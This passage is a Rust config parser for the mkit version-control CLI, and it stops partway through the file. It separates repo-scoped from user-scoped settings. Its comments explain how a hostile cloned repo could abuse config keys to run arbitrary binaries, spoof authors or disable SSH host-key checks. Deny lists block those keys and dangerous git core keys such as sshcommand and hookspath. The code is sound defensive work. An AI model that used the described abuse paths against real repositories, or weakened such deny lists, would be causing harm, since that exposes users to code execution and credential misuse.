Skip to main content

mkit_cli/
config.rs

1//! `.mkit/config` parser / writer and XDG path helpers.
2//!
3//! On-disk format: `key = value`, one per line, lines starting with `#`
4//! ignored. User-facing short-hand values for `user.identity`:
5//! `ed25519:<hex>`, `mid:<u64>`, or raw `[kind][len][bytes]` hex.
6//!
7//! ## Config scope
8//!
9//! There are two layered config files. Higher-priority values win:
10//!
11//! 1. **Repo-scoped** (`<repo>/.mkit/config`) — per-project knobs that
12//!    travel with a clone: branch defaults and remote endpoints.
13//!    Security-sensitive keys are rejected here, see
14//!    [`REPO_FORBIDDEN_KEYS`].
15//! 2. **User-scoped** (`$XDG_CONFIG_HOME/mkit/config`, default
16//!    `~/.config/mkit/config`) — per-user knobs that decide what gets
17//!    signed, what gets executed, and what hosts to trust. A hostile
18//!    cloned repo cannot influence these.
19//! 3. **Built-in defaults** — fall-back when neither file sets a value.
20//!
21//! Merge order: defaults → user → repo (filtered). The repo file is
22//! parsed last so its safe values take precedence over defaults; any
23//! security-sensitive key in the repo file is rejected with a stderr
24//! warning and otherwise ignored. See `docs/THREAT-MODEL.md` for the
25//! threat model that motivates the split.
26
27use std::fmt::Write as _;
28use std::fs;
29use std::io;
30use std::io::Write as _;
31use std::path::{Path, PathBuf};
32
33use thiserror::Error;
34
35pub const CONFIG_FILE: &str = ".mkit/config";
36pub const USER_CONFIG_SUBPATH: &str = "mkit/config";
37pub const DEFAULT_SIGNING_KEY: &str = ".mkit/keys/default.key";
38pub const DEFAULT_BRANCH: &str = "main";
39pub const DEFAULT_SIGNER: &str = "legacy";
40pub const DEFAULT_KEY_BACKEND: &str = "software";
41pub const DEFAULT_KEY_REF: &str = "software:default";
42pub const DEFAULT_SECP256K1_KEY_REF: &str = "software:default-secp256k1";
43pub const DEFAULT_P256_KEY_REF: &str = "software:default-p256";
44
45/// Keys that MUST NOT be settable via the per-repo `<repo>/.mkit/config`
46/// because a hostile clone could otherwise:
47///
48/// * redirect `signing_key` to overwrite arbitrary files on disk or to
49///   sign attacker-chosen content with the user's real key,
50/// * spoof the commit author by pinning `user.identity` to attacker-
51///   chosen bytes while the victim's real signing key still signs the
52///   object,
53/// * point `attest.external_signer_path` / `_args` at any binary on the
54///   host (RCE under the user's UID),
55/// * **select** a user-scoped external signer or non-Ed25519 algorithm
56///   to confused-deputy through it: even though the path is
57///   user-scoped, the *selector* (`attest.signer`,
58///   `attest.default_algorithm`) is enough to weaponize an existing
59///   user-trusted binary or key against attacker-chosen content,
60/// * mark a repo-controlled HTTP/S3 remote as trusted for ambient
61///   environment credentials,
62/// * disable SSH host-key verification on `mkit push` (MITM).
63///
64/// They are accepted from the user-scoped config only.
65pub const REPO_FORBIDDEN_KEYS: &[&str] = &[
66    "user.identity",
67    "trusted_remote_endpoint",
68    "signer",
69    "key.backend",
70    "key.default_ref",
71    "key.ed25519_ref",
72    "key.secp256k1_ref",
73    "key.p256_ref",
74    "signing_key",
75    "ssh.strict_host_key_checking",
76    "ssh.user_known_hosts_file",
77    "ssh.identity_file",
78    "attest.signer",
79    "attest.default_algorithm",
80    "attest.external_signer_path",
81    "attest.external_signer_args",
82    "attest.external_signer_timeout_secs",
83    "attest.secp256k1_key_path",
84    "attest.p256_key_path",
85];
86
87/// Source of a parsed config line — used to decide whether a key is
88/// allowed (`Repo` rejects [`REPO_FORBIDDEN_KEYS`]; `User` accepts
89/// everything).
90#[derive(Debug, Clone, Copy, PartialEq, Eq)]
91pub enum ConfigScope {
92    Repo,
93    User,
94}
95
96/// Full in-memory representation of merged config (user + repo +
97/// defaults). All fields default to empty / documented defaults;
98/// readers that want a known-good default file should call
99/// [`read_or_default`].
100#[derive(Debug, Clone, Default, PartialEq, Eq)]
101pub struct Config {
102    /// Hex-encoded Identity: `[kind:u8][len:u16 LE][bytes]`. Empty =
103    /// derive from the signing key's public key at commit time.
104    pub user_identity: String,
105    /// Git-compatibility alias `user.name`. **Non-authoritative**: stored
106    /// and round-tripped for parity with `git config user.name`, but it
107    /// NEVER feeds the cryptographic commit author (which is
108    /// [`user_identity`](Self::user_identity) / the signing key). Repo-safe.
109    pub user_name: String,
110    /// Git-compatibility alias `user.email`. Non-authoritative, exactly
111    /// like [`user_name`](Self::user_name) — never feeds the signed author.
112    pub user_email: String,
113    /// Exact remote endpoint the user has explicitly trusted for
114    /// ambient HTTP/S3 environment credentials. User-scoped only.
115    pub trusted_remote_endpoint: String,
116    pub signing_key: String,
117    pub default_branch: String,
118    pub remote_endpoint: String,
119    pub remote_bucket: String,
120    pub remote_type: String,
121    pub ssh_strict_host_key_checking: String,
122    pub ssh_user_known_hosts_file: String,
123    pub ssh_identity_file: String,
124    /// Commit-signing selector. User-scoped only.
125    pub signer: String,
126    /// `[key]` section. User-scoped keystore selectors.
127    pub key: KeyConfig,
128    /// `[attest]` section. Separate struct so new attest knobs don't
129    /// balloon the flat `Config`.
130    pub attest: AttestConfig,
131    /// Named remotes keyed by name (`remote.<name>.url` /
132    /// `remote.<name>.type`). Repo-safe — addresses, same class as the
133    /// flat `remote_endpoint`. The legacy flat `remote_endpoint` /
134    /// `remote_type` act as the implicit `default` remote.
135    pub remotes: std::collections::BTreeMap<String, RemoteEntry>,
136    /// Per-branch upstream tracking keyed by local branch name
137    /// (`branch.<branch>.remote` / `branch.<branch>.merge`). Repo-safe.
138    pub branch_upstreams: std::collections::BTreeMap<String, Upstream>,
139    /// Object-store durability schedule: empty/`batch` (default) =
140    /// batched commit-time flushes; `per-object` = strict historical
141    /// full-flush-per-object schedule (SPEC-OBJECTS §10.1's stricter
142    /// conforming option). Repo-safe: the non-default value only
143    /// STRENGTHENS durability (and slows writes); it cannot weaken
144    /// anything.
145    pub durability_objects: String,
146    /// Allowlisted, **inert** `core.*` git-compat keys (see
147    /// [`CORE_ALLOWED_KEYS`]). Accepted and round-tripped for parity but
148    /// **not honored** by mkit — they are cosmetic settings git stores
149    /// per-repo. Dangerous `core.*` keys ([`CORE_DENIED_KEYS`]) are rejected
150    /// rather than stored. Keyed by the bare suffix (e.g. `autocrlf`).
151    pub core: std::collections::BTreeMap<String, String>,
152}
153
154/// Inert `core.*` keys accepted for git compatibility. They are stored and
155/// round-tripped but mkit does not act on them (it has no CRLF translation,
156/// honors exec bits natively, etc.). Repo-safe precisely because inert.
157pub const CORE_ALLOWED_KEYS: &[&str] = &[
158    "autocrlf",
159    "bare",
160    "filemode",
161    "ignorecase",
162    "quotepath",
163    "symlinks",
164];
165
166/// Dangerous `core.*` keys that mkit refuses to store: they would change what
167/// commands or hooks mkit invokes if it honored them, so a hostile repo (or a
168/// typo) must not be able to set them. Rejected with a clear message.
169pub const CORE_DENIED_KEYS: &[&str] = &["editor", "fsmonitor", "hookspath", "pager", "sshcommand"];
170
171/// A named remote's stored address. `type` is a dispatch hint derived
172/// from the URL scheme at `mkit remote add` time.
173#[derive(Debug, Clone, Default, PartialEq, Eq)]
174pub struct RemoteEntry {
175    pub url: String,
176    pub remote_type: String,
177}
178
179/// Per-branch upstream: the remote name plus the remote branch this
180/// local branch tracks (`branch.<b>.merge` stores the bare branch
181/// name, e.g. `main`).
182#[derive(Debug, Clone, Default, PartialEq, Eq)]
183pub struct Upstream {
184    pub remote: String,
185    pub branch: String,
186}
187
188/// `[key]` section for keystore-backed signing. All fields are user-scoped.
189#[derive(Debug, Clone, Default, PartialEq, Eq)]
190pub struct KeyConfig {
191    /// Default backend for `mkit key` commands.
192    pub backend: String,
193    /// Generic key reference.
194    pub default_ref: String,
195    /// Ed25519 key reference.
196    pub ed25519_ref: String,
197    /// secp256k1 key reference.
198    pub secp256k1_ref: String,
199    /// P-256 key reference.
200    pub p256_ref: String,
201}
202
203impl KeyConfig {
204    #[must_use]
205    pub fn backend_or_fallback(&self) -> &str {
206        if self.backend.is_empty() {
207            DEFAULT_KEY_BACKEND
208        } else {
209            self.backend.as_str()
210        }
211    }
212
213    #[must_use]
214    pub fn default_ref_or_fallback(&self) -> &str {
215        if self.default_ref.is_empty() {
216            DEFAULT_KEY_REF
217        } else {
218            self.default_ref.as_str()
219        }
220    }
221
222    #[must_use]
223    pub fn ed25519_ref_or_fallback(&self) -> &str {
224        if self.ed25519_ref.is_empty() {
225            self.default_ref_or_fallback()
226        } else {
227            self.ed25519_ref.as_str()
228        }
229    }
230
231    #[must_use]
232    pub fn secp256k1_ref_or_fallback(&self) -> &str {
233        if self.secp256k1_ref.is_empty() {
234            if self.default_ref.is_empty() {
235                DEFAULT_SECP256K1_KEY_REF
236            } else {
237                self.default_ref.as_str()
238            }
239        } else {
240            self.secp256k1_ref.as_str()
241        }
242    }
243
244    #[must_use]
245    pub fn p256_ref_or_fallback(&self) -> &str {
246        if self.p256_ref.is_empty() {
247            if self.default_ref.is_empty() {
248                DEFAULT_P256_KEY_REF
249            } else {
250                self.default_ref.as_str()
251            }
252        } else {
253            self.p256_ref.as_str()
254        }
255    }
256}
257
258/// Parsed config with per-layer provenance preserved so callers can
259/// distinguish "repo configured this" from "user explicitly trusted
260/// this".
261#[derive(Debug, Clone, Default, PartialEq, Eq)]
262pub struct LayeredConfig {
263    pub merged: Config,
264    pub user: Config,
265    pub repo: Config,
266}
267
268/// `[attest]` section. All fields optional with documented defaults; a
269/// fresh repo's config file has none of them set.
270#[derive(Debug, Clone, Default, PartialEq, Eq)]
271pub struct AttestConfig {
272    /// One of `"ed25519"`, `"secp256k1"`, `"p256"`. Empty = `"ed25519"`.
273    pub default_algorithm: String,
274    /// One of `"repo-key"`, `"external"`, `"keystore"`. Empty = `"repo-key"`.
275    pub signer: String,
276    /// Absolute path to the external signer binary. Required when
277    /// `signer = "external"`. User-scoped only.
278    pub external_signer_path: String,
279    /// Extra argv tokens to pass to the external signer subprocess.
280    /// Each `Vec` entry is one argv entry — the stored list maps 1:1
281    /// to `std::process::Command::args`. On disk, encoded as a
282    /// pipe-separated string: `attest.external_signer_args = sign|--tag|demo`.
283    /// User-scoped only.
284    pub external_signer_args: Vec<String>,
285    /// Wall-clock budget (in seconds) for the entire external-signer
286    /// conversation: spawn → request-write → response-read →
287    /// stderr-drain → child-exit. On expiry mkit kills and reaps the
288    /// child. Empty / 0 = use the crate default (120s, generous for
289    /// hardware touch/PIN/biometric). User-scoped only — see
290    /// [`REPO_FORBIDDEN_KEYS`] (a hostile repo must not be able to set a
291    /// 0s "deny" timeout or a multi-hour hang).
292    pub external_signer_timeout_secs: Option<u64>,
293    /// Per-algorithm repo-key paths for non-ed25519 signing.
294    /// User-scoped only — see [`REPO_FORBIDDEN_KEYS`].
295    pub secp256k1_key_path: String,
296    pub p256_key_path: String,
297}
298
299impl AttestConfig {
300    #[must_use]
301    pub fn default_algorithm_or_fallback(&self) -> &str {
302        if self.default_algorithm.is_empty() {
303            "ed25519"
304        } else {
305            self.default_algorithm.as_str()
306        }
307    }
308
309    #[must_use]
310    pub fn signer_or_fallback(&self) -> &str {
311        if self.signer.is_empty() {
312            "repo-key"
313        } else {
314            self.signer.as_str()
315        }
316    }
317
318    #[must_use]
319    pub fn secp256k1_key_path_or_default(&self) -> &str {
320        if self.secp256k1_key_path.is_empty() {
321            ".mkit/keys/secp256k1.key"
322        } else {
323            self.secp256k1_key_path.as_str()
324        }
325    }
326
327    #[must_use]
328    pub fn p256_key_path_or_default(&self) -> &str {
329        if self.p256_key_path.is_empty() {
330            ".mkit/keys/p256.key"
331        } else {
332            self.p256_key_path.as_str()
333        }
334    }
335}
336
337impl Config {
338    /// Return a Config with documented defaults filled in.
339    #[must_use]
340    pub fn with_defaults() -> Self {
341        Self {
342            signing_key: DEFAULT_SIGNING_KEY.to_owned(),
343            default_branch: DEFAULT_BRANCH.to_owned(),
344            signer: DEFAULT_SIGNER.to_owned(),
345            key: KeyConfig {
346                backend: DEFAULT_KEY_BACKEND.to_owned(),
347                default_ref: String::new(),
348                ed25519_ref: String::new(),
349                secp256k1_ref: String::new(),
350                p256_ref: String::new(),
351            },
352            ..Self::default()
353        }
354    }
355}
356
357#[derive(Debug, Error)]
358pub enum ConfigError {
359    #[error("I/O: {0}")]
360    Io(#[from] io::Error),
361    #[error("invalid config value — control characters are not permitted")]
362    InvalidValue,
363    #[error("unknown config key: {0}")]
364    UnknownKey(String),
365    #[error("invalid user.identity: {0}")]
366    InvalidUserIdentity(&'static str),
367    #[error(
368        "key path must not contain `..`; relative paths must stay under `.mkit/keys/` and absolute paths must stay under `$HOME`: {0}"
369    )]
370    InvalidKeyPath(String),
371}
372
373/// Validate that a key-file path (`signing_key`, `attest.*_key_path`,
374/// `ssh.*_file`) cannot escape via `..` traversal. Empty strings pass
375/// — callers fall back to the documented default.
376impl Config {
377    /// Map `durability.objects` onto the object-store sync policy.
378    /// Unknown values fall back to the batched default rather than
379    /// erroring — config load must not brick the repo.
380    #[must_use]
381    pub fn object_sync_policy(&self) -> mkit_core::store::SyncPolicy {
382        match self.durability_objects.trim() {
383            "per-object" | "per_object" => mkit_core::store::SyncPolicy::PerObject,
384            _ => mkit_core::store::SyncPolicy::Batch,
385        }
386    }
387}
388
389pub fn validate_key_path(value: &str) -> Result<(), ConfigError> {
390    if value.is_empty() {
391        return Ok(());
392    }
393    let p = Path::new(value);
394    for comp in p.components() {
395        if matches!(comp, std::path::Component::ParentDir) {
396            return Err(ConfigError::InvalidKeyPath(value.to_owned()));
397        }
398    }
399    Ok(())
400}
401
402/// Resolve a configured signing-key path against `root`.
403///
404/// Policy from the security hardening follow-up:
405/// - relative paths are allowed only under `<repo>/.mkit/keys/`
406/// - absolute paths are allowed only under the home directory of the
407///   process's effective uid (looked up via `getpwuid_r(geteuid())`,
408///   not `$HOME`, so a hostile parent can't set `HOME=/` and admit
409///   every absolute path).
410pub fn resolve_key_path(root: &Path, value: &str) -> Result<PathBuf, ConfigError> {
411    validate_key_path(value)?;
412    let path = Path::new(value);
413    if path.is_absolute() {
414        let Some(home) = home_dir_for_euid() else {
415            return Err(ConfigError::InvalidKeyPath(value.to_owned()));
416        };
417        return if path.starts_with(&home) {
418            Ok(path.to_path_buf())
419        } else {
420            Err(ConfigError::InvalidKeyPath(value.to_owned()))
421        };
422    }
423
424    let joined = root.join(path);
425    let repo_keys = root.join(".mkit/keys");
426    if !joined.starts_with(&repo_keys) {
427        return Err(ConfigError::InvalidKeyPath(value.to_owned()));
428    }
429    Ok(joined)
430}
431
432/// Resolve the home directory of the current effective uid via
433/// `getpwuid_r`, ignoring `$HOME`.
434///
435/// `$HOME` is part of the parent process's environment and a malicious
436/// parent can set it to anything (`/`, `/tmp`, an attacker-owned dir)
437/// before exec'ing `mkit`. The kernel-side passwd database, by
438/// contrast, is rooted in the system's user store and tracks the same
439/// uid used elsewhere in the security checks (`load_raw_32`'s owner
440/// check, parent-dir mode check, etc.). Falling back to `$HOME` would
441/// re-introduce the exact attack we're trying to close, so we don't.
442#[cfg(unix)]
443#[must_use]
444pub fn home_dir_for_euid() -> Option<PathBuf> {
445    use std::ffi::CStr;
446    use std::os::unix::ffi::OsStringExt;
447
448    // `getpwuid_r` writes into caller-provided buffers. 4 KiB matches
449    // the `_SC_GETPW_R_SIZE_MAX` advisory size on Linux/macOS and is
450    // far more than any real passwd entry needs; if it ever overflows
451    // we fail closed (the caller treats `None` as "refuse the absolute
452    // path") rather than retrying with a larger buffer.
453    //
454    // SAFETY: `getpwuid_r` is the thread-safe / reentrant variant of
455    // `getpwuid`. `pwd` and `buf` are valid stack memory of known size
456    // for the duration of the call; `result` is set to either `&pwd`
457    // (entry found) or NULL (no entry). `geteuid` is parameterless and
458    // infallible. We only read `pwd.pw_dir` when `result == &pwd`, and
459    // the bytes we hand out come from copying through `CStr`, not from
460    // continuing to dereference `pwd` after the unsafe block ends.
461    // Reviewed alongside the matching `geteuid` block in
462    // `mkit_core::sign`.
463    #[allow(unsafe_code)]
464    let pw_dir_owned = unsafe {
465        let mut buf = [0i8; 4096];
466        let mut pwd: libc::passwd = std::mem::zeroed();
467        let mut result: *mut libc::passwd = std::ptr::null_mut();
468        let rc = libc::getpwuid_r(
469            libc::geteuid(),
470            std::ptr::addr_of_mut!(pwd),
471            buf.as_mut_ptr().cast::<libc::c_char>(),
472            buf.len(),
473            std::ptr::addr_of_mut!(result),
474        );
475        if rc != 0 || result.is_null() || pwd.pw_dir.is_null() {
476            None
477        } else {
478            // Copy the C string out before `buf` / `pwd` go out of
479            // scope. `to_bytes` does not include the trailing NUL.
480            Some(CStr::from_ptr(pwd.pw_dir).to_bytes().to_vec())
481        }
482    };
483    let bytes = pw_dir_owned?;
484    if bytes.is_empty() {
485        return None;
486    }
487    Some(PathBuf::from(std::ffi::OsString::from_vec(bytes)))
488}
489
490#[cfg(not(unix))]
491#[must_use]
492pub fn home_dir_for_euid() -> Option<PathBuf> {
493    // Windows: there's no `getpwuid` equivalent. `%USERPROFILE%` is
494    // the conventional environment variable but is no more
495    // tamper-resistant than `$HOME` on Unix. Document the gap and
496    // accept it — the user-vs-attacker threat model on Windows is
497    // bounded by the user-profile ACL, not by this check.
498    std::env::var_os("USERPROFILE").map(PathBuf::from)
499}
500
501/// Split a pipe-separated argv string into argv tokens.
502#[must_use]
503pub fn parse_pipe_list(s: &str) -> Vec<String> {
504    if s.is_empty() {
505        return Vec::new();
506    }
507    s.split('|').map(str::to_owned).collect()
508}
509
510/// Validate a config value has no control bytes below 0x20 (except
511/// tab) and no 0x7f.
512pub fn validate_value(v: &str) -> Result<(), ConfigError> {
513    for b in v.bytes() {
514        if b < 0x20 || b == 0x7f {
515            return Err(ConfigError::InvalidValue);
516        }
517    }
518    Ok(())
519}
520
521/// Resolve the user-scoped config file path:
522/// `$XDG_CONFIG_HOME/mkit/config`, falling back to
523/// `$HOME/.config/mkit/config`.
524#[must_use]
525pub fn user_config_path() -> PathBuf {
526    xdg_config_home().join(USER_CONFIG_SUBPATH)
527}
528
529/// Read the layered config: defaults → user-scoped → repo-scoped
530/// (filtered to non-sensitive keys). Missing files are not errors; the
531/// per-layer absence simply leaves the lower layer's value in place.
532///
533/// If the repo file sets a key listed in [`REPO_FORBIDDEN_KEYS`], a
534/// warning is printed to stderr and the value is dropped.
535pub fn read_or_default(root: &Path) -> Result<Config, ConfigError> {
536    let mut cfg = Config::with_defaults();
537    apply_file(&mut cfg, &user_config_path(), ConfigScope::User)?;
538    apply_file(&mut cfg, &root.join(CONFIG_FILE), ConfigScope::Repo)?;
539    Ok(cfg)
540}
541
542/// Read both raw layers plus the merged config.
543pub fn read_layered(root: &Path) -> Result<LayeredConfig, ConfigError> {
544    let mut merged = Config::with_defaults();
545    let user_path = user_config_path();
546    let repo_path = root.join(CONFIG_FILE);
547    apply_file_inner(&mut merged, &user_path, ConfigScope::User, true)?;
548    apply_file_inner(&mut merged, &repo_path, ConfigScope::Repo, true)?;
549
550    let mut user = Config::default();
551    apply_file_inner(&mut user, &user_path, ConfigScope::User, false)?;
552
553    let mut repo = Config::default();
554    apply_file_inner(&mut repo, &repo_path, ConfigScope::Repo, false)?;
555
556    Ok(LayeredConfig { merged, user, repo })
557}
558
559/// Apply a single config file to `cfg` under the given scope. Missing
560/// file → no-op (returns `Ok`). Malformed lines are tolerated.
561///
562/// Public-in-crate so tests can drive layering without mutating the
563/// process's `XDG_CONFIG_HOME` env var (which would race with parallel
564/// tests and trip the `disallowed-methods` lint).
565pub(crate) fn apply_file(
566    cfg: &mut Config,
567    path: &Path,
568    scope: ConfigScope,
569) -> Result<(), ConfigError> {
570    apply_file_inner(cfg, path, scope, true)
571}
572
573fn apply_file_inner(
574    cfg: &mut Config,
575    path: &Path,
576    scope: ConfigScope,
577    warn_on_forbidden: bool,
578) -> Result<(), ConfigError> {
579    let text = match fs::read_to_string(path) {
580        Ok(s) => s,
581        Err(e) if e.kind() == io::ErrorKind::NotFound => return Ok(()),
582        Err(e) => return Err(e.into()),
583    };
584    for raw_line in text.lines() {
585        let line = raw_line.trim();
586        if line.is_empty() || line.starts_with('#') {
587            continue;
588        }
589        let Some((k, v)) = line.split_once('=') else {
590            continue;
591        };
592        let key = k.trim();
593        let val = v.trim();
594        if scope == ConfigScope::Repo && REPO_FORBIDDEN_KEYS.contains(&key) {
595            if warn_on_forbidden {
596                warn_forbidden_repo_key(path, key);
597            }
598            continue;
599        }
600        apply_kv(cfg, key, val);
601    }
602    Ok(())
603}
604
605fn warn_forbidden_repo_key(path: &Path, key: &str) {
606    let mut stderr = io::stderr().lock();
607    let _ = writeln!(
608        stderr,
609        "warning: ignoring `{key}` from per-repo config at {} \
610         (security-sensitive keys are user-scoped only — see {} \
611         and docs/THREAT-MODEL.md)",
612        path.display(),
613        user_config_path().display()
614    );
615}
616
617/// Apply one parsed key/value pair to `cfg`. Unknown / legacy keys are
618/// tolerated (silent) for forward compat with hand-edited files.
619fn apply_kv(cfg: &mut Config, key: &str, val: &str) {
620    // Inert git-compat `core.*` keys: store only the allowlisted ones
621    // (dangerous keys are dropped on read, like any other unknown key).
622    if let Some(suffix) = core_allowed_suffix(key) {
623        cfg.core.insert(suffix, val.to_string());
624        return;
625    }
626    match key {
627        "user.identity" => val.clone_into(&mut cfg.user_identity),
628        // Git-compatibility aliases — non-authoritative (never feed the
629        // signed author), so they are repo-safe to read at any scope.
630        "user.name" => val.clone_into(&mut cfg.user_name),
631        "user.email" => val.clone_into(&mut cfg.user_email),
632        "trusted_remote_endpoint" => val.clone_into(&mut cfg.trusted_remote_endpoint),
633        "signer" => val.clone_into(&mut cfg.signer),
634        "key.backend" => val.clone_into(&mut cfg.key.backend),
635        "key.default_ref" => val.clone_into(&mut cfg.key.default_ref),
636        "key.ed25519_ref" => val.clone_into(&mut cfg.key.ed25519_ref),
637        "key.secp256k1_ref" => val.clone_into(&mut cfg.key.secp256k1_ref),
638        "key.p256_ref" => val.clone_into(&mut cfg.key.p256_ref),
639        "signing_key" => val.clone_into(&mut cfg.signing_key),
640        "default_branch" => val.clone_into(&mut cfg.default_branch),
641        "durability.objects" => val.clone_into(&mut cfg.durability_objects),
642        "remote_endpoint" => val.clone_into(&mut cfg.remote_endpoint),
643        "remote_bucket" => val.clone_into(&mut cfg.remote_bucket),
644        "remote_type" => val.clone_into(&mut cfg.remote_type),
645        "ssh.strict_host_key_checking" => val.clone_into(&mut cfg.ssh_strict_host_key_checking),
646        "ssh.user_known_hosts_file" => val.clone_into(&mut cfg.ssh_user_known_hosts_file),
647        "ssh.identity_file" => val.clone_into(&mut cfg.ssh_identity_file),
648        "attest.default_algorithm" => val.clone_into(&mut cfg.attest.default_algorithm),
649        "attest.signer" => val.clone_into(&mut cfg.attest.signer),
650        "attest.external_signer_path" => val.clone_into(&mut cfg.attest.external_signer_path),
651        "attest.external_signer_args" => {
652            cfg.attest.external_signer_args = parse_pipe_list(val);
653        }
654        "attest.external_signer_timeout_secs" => {
655            // Tolerate a malformed value on read (mirrors the rest of
656            // this parser): an unparseable number leaves the default in
657            // effect rather than aborting config load.
658            cfg.attest.external_signer_timeout_secs = val.trim().parse::<u64>().ok();
659        }
660        "attest.secp256k1_key_path" => val.clone_into(&mut cfg.attest.secp256k1_key_path),
661        "attest.p256_key_path" => val.clone_into(&mut cfg.attest.p256_key_path),
662        // Dotted section keys: `remote.<name>.{url,type}` (repo-safe
663        // addresses) and `branch.<b>.{remote,merge}` (per-branch
664        // upstream). Each remote endpoint still flows through the #97
665        // per-endpoint gate, so a named remote cannot smuggle ambient
666        // creds.
667        _ if apply_section_kv(cfg, key, val) => {}
668        // Legacy keys — silently ignored.
669        "author_mid" | "project_id" | "network" => {}
670        _ if key.ends_with("_url") => {}
671        _ => {} // unknown keys: tolerate on read
672    }
673}
674
675/// `true` if `key` is in the `core` section (`core.<x>`), matched
676/// case-insensitively like git (`Core.x`, `CORE.x` all count).
677#[must_use]
678pub fn is_core_section(key: &str) -> bool {
679    key.split_once('.')
680        .is_some_and(|(section, _)| section.eq_ignore_ascii_case("core"))
681}
682
683/// If `key` is `core.<x>` (section matched case-insensitively) with `<x>` an
684/// allowlisted inert key, return the canonical lowercase suffix. git lowercases
685/// both the section and the variable name, so `Core.AutoCRLF` → `autocrlf`.
686#[must_use]
687pub fn core_allowed_suffix(key: &str) -> Option<String> {
688    let (section, name) = key.split_once('.')?;
689    if !section.eq_ignore_ascii_case("core") {
690        return None;
691    }
692    let suffix = name.to_ascii_lowercase();
693    CORE_ALLOWED_KEYS
694        .contains(&suffix.as_str())
695        .then_some(suffix)
696}
697
698/// Apply a `<section>.<name>.<field>` key (named remotes, branch
699/// upstreams). Returns `true` if the key matched a known section/field
700/// (regardless of whether the name validated), so the caller's match
701/// arm can treat it as handled.
702fn apply_section_kv(cfg: &mut Config, key: &str, val: &str) -> bool {
703    let mut parts = key.splitn(3, '.');
704    let (Some(section), Some(name), Some(field)) = (parts.next(), parts.next(), parts.next())
705    else {
706        return false;
707    };
708    // Only flat, ref-safe names (no further dots) are accepted.
709    let valid_name = !name.is_empty() && mkit_core::refs::validate_ref_name(name);
710    match (section, field) {
711        ("remote", "url") => {
712            if valid_name {
713                val.clone_into(&mut cfg.remotes.entry(name.to_owned()).or_default().url);
714            }
715            true
716        }
717        ("remote", "type") => {
718            if valid_name {
719                val.clone_into(&mut cfg.remotes.entry(name.to_owned()).or_default().remote_type);
720            }
721            true
722        }
723        ("branch", "remote") => {
724            if valid_name {
725                val.clone_into(
726                    &mut cfg
727                        .branch_upstreams
728                        .entry(name.to_owned())
729                        .or_default()
730                        .remote,
731                );
732            }
733            true
734        }
735        ("branch", "merge") => {
736            if valid_name {
737                val.clone_into(
738                    &mut cfg
739                        .branch_upstreams
740                        .entry(name.to_owned())
741                        .or_default()
742                        .branch,
743                );
744            }
745            true
746        }
747        _ => false,
748    }
749}
750
751/// Write the given `Config` to `<root>/.mkit/config`. Only repo-scoped
752/// (non-forbidden) fields are emitted; security-sensitive fields live
753/// in the user-scoped file and must be written there explicitly.
754///
755/// **Contract:** `cfg` MUST be a repo-scoped config — either
756/// [`read_layered`]`(root).repo` for a read-modify-write, or a freshly
757/// built [`Config`] (e.g. on `clone`). NEVER pass a merged config
758/// ([`read_or_default`] / [`read_layered`]`.merged`): this serializer
759/// emits repo-safe fields such as `user.name` / `user.email`, so a
760/// user-scoped value would be materialized into the clone-traveling
761/// `.mkit/config` (a privacy/scope leak). Callers that need the effective
762/// (merged) value for *reads* should use it only for reads.
763pub fn write(root: &Path, cfg: &Config) -> Result<(), ConfigError> {
764    let path = root.join(CONFIG_FILE);
765    if let Some(parent) = path.parent() {
766        fs::create_dir_all(parent)?;
767    }
768    // Only repo-safe keys are emitted. Anything in `REPO_FORBIDDEN_KEYS`
769    // is explicitly NOT serialised to `<repo>/.mkit/config` — it lives
770    // in `$XDG_CONFIG_HOME/mkit/config` via `write_user_kv`. Note
771    // `attest.{signer,default_algorithm}` are forbidden too because
772    // they're the *selectors* that weaponise a user-scoped external
773    // signer or non-Ed25519 key path against attacker-chosen content.
774    let mut out = String::new();
775    for (k, v) in [
776        // `user.name`/`user.email` are repo-safe git-compat aliases
777        // (non-authoritative — they never feed the signed author).
778        ("user.name", cfg.user_name.as_str()),
779        ("user.email", cfg.user_email.as_str()),
780        ("default_branch", cfg.default_branch.as_str()),
781        ("durability.objects", cfg.durability_objects.as_str()),
782        ("remote_endpoint", cfg.remote_endpoint.as_str()),
783        ("remote_bucket", cfg.remote_bucket.as_str()),
784        ("remote_type", cfg.remote_type.as_str()),
785    ] {
786        if !v.is_empty() {
787            out.push_str(k);
788            out.push_str(" = ");
789            out.push_str(v);
790            out.push('\n');
791        }
792    }
793    // Named remotes (`remote.<name>.url` / `.type`). BTreeMap iteration
794    // is sorted, so output is deterministic. `writeln!` into a `String`
795    // is infallible.
796    for (name, entry) in &cfg.remotes {
797        if !entry.url.is_empty() {
798            let _ = writeln!(out, "remote.{name}.url = {}", entry.url);
799        }
800        if !entry.remote_type.is_empty() {
801            let _ = writeln!(out, "remote.{name}.type = {}", entry.remote_type);
802        }
803    }
804    // Per-branch upstream tracking (`branch.<b>.remote` / `.merge`).
805    for (branch, up) in &cfg.branch_upstreams {
806        if !up.remote.is_empty() {
807            let _ = writeln!(out, "branch.{branch}.remote = {}", up.remote);
808        }
809        if !up.branch.is_empty() {
810            let _ = writeln!(out, "branch.{branch}.merge = {}", up.branch);
811        }
812    }
813    // Inert git-compat `core.*` keys — repo-safe (mkit never acts on them).
814    for (k, v) in &cfg.core {
815        let _ = writeln!(out, "core.{k} = {v}");
816    }
817    // Atomic replace: write to a sibling temp file then rename over the
818    // target so a crash mid-write can never leave a truncated config
819    // (which would silently drop remotes / upstream tracking). The temp
820    // file shares the destination directory so the rename stays on one
821    // filesystem.
822    let dir = path.parent().unwrap_or_else(|| Path::new("."));
823    let mut tmp = tempfile::Builder::new()
824        .prefix(".config.")
825        .tempfile_in(dir)?;
826    tmp.write_all(out.as_bytes())?;
827    tmp.flush()?;
828    tmp.persist(&path).map_err(|e| ConfigError::Io(e.error))?;
829    Ok(())
830}
831
832/// The implicit name of the legacy flat `remote_endpoint` /
833/// `remote_type` remote.
834pub const DEFAULT_REMOTE_NAME: &str = "default";
835
836/// A resolved remote: its endpoint URL plus whether the repo-scoped
837/// config selected it (`repo_chosen`), which the #97 credential gate
838/// keys on. Returned by [`resolve_remote`].
839#[derive(Debug, Clone, PartialEq, Eq)]
840pub struct ResolvedRemote {
841    pub name: String,
842    pub endpoint: String,
843    pub repo_chosen: bool,
844}
845
846/// Resolve a remote NAME to its endpoint + provenance.
847///
848/// - `default` (or an empty name): the flat `remote_endpoint`; chosen by
849///   the repo iff the repo layer set it.
850/// - any other name: a `remote.<name>.url` entry. Named remotes are
851///   stored repo-scoped, so a named remote present in the repo layer is
852///   `repo_chosen`; one present only in the user layer is not.
853///
854/// Returns `None` when the name is unknown / its URL is empty.
855#[must_use]
